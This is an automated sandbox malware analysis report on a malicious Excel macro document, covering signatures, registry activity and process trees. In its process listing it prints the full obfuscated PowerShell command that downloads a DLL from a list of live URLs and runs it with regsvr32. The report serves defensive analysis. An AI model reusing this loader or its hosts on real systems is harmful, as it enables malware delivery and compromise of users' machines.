Malware Analysis Report

2024-12-07 15:14

Sample ID 241113-zv5pcssmck
Target 53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd
SHA256 53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd

Threat Level: Known bad

The file 53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Process spawned suspicious child process

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 21:03

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 21:03

Reported

2024-11-13 21:04

Platform

win7-20240729-en

Max time kernel

16s

Max time network

22s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\wscript.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wscript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\syswow64\regsvr32.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7B14E724-86FE-46DC-96E4-65F3ED02E7B8}\2.0 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7B14E724-86FE-46DC-96E4-65F3ED02E7B8}\2.0\0 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7B14E724-86FE-46DC-96E4-65F3ED02E7B8}\2.0\HELPDIR C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2376 wrote to memory of 2864 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\wscript.exe
PID 2376 wrote to memory of 2864 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\wscript.exe
PID 2376 wrote to memory of 2864 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\wscript.exe
PID 2376 wrote to memory of 2864 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\wscript.exe
PID 2864 wrote to memory of 2256 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2864 wrote to memory of 2256 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2864 wrote to memory of 2256 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2864 wrote to memory of 2256 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2864 wrote to memory of 2360 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\cmd.exe
PID 2864 wrote to memory of 2360 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\cmd.exe
PID 2864 wrote to memory of 2360 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\cmd.exe
PID 2864 wrote to memory of 2360 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\cmd.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe
PID 2360 wrote to memory of 1772 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\syswow64\regsvr32.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd.xls

C:\Windows\SysWOW64\wscript.exe

wscript c:\programdata\bbiwjdf.vbs

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll

\??\c:\windows\syswow64\regsvr32.exe

c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll

Network

N/A

Files

memory/2376-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2376-1-0x000000007246D000-0x0000000072478000-memory.dmp

memory/2376-2-0x00000000072A0000-0x00000000073A0000-memory.dmp

memory/2376-4-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-9-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-7-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-6-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-5-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-13-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-44-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-43-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-46-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-42-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-39-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-40-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-38-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-37-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-32-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-31-0x00000000070A0000-0x00000000071A0000-memory.dmp

\??\c:\programdata\bbiwjdf.vbs

MD5 7baad56cc483132b8b9cb7a14722c3b1
SHA1 602f7933c443765697bb178ca137f17f81856f0d
SHA256 31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512 b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

memory/2376-30-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-29-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-28-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-27-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-26-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-25-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-24-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-22-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-21-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-20-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-19-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-18-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-17-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-16-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-15-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-14-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-12-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-11-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-10-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-45-0x00000000070A0000-0x00000000071A0000-memory.dmp

memory/2376-50-0x000000007246D000-0x0000000072478000-memory.dmp

memory/2376-51-0x00000000072A0000-0x00000000073A0000-memory.dmp

memory/2376-52-0x00000000070A0000-0x00000000071A0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 21:03

Reported

2024-11-13 21:04

Platform

win10v2004-20241007-en

Max time kernel

36s

Max time network

37s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd.xls"

Signatures

Process spawned suspicious child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\dwwin.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\dwwin.exe N/A

Enumerates system info in registry

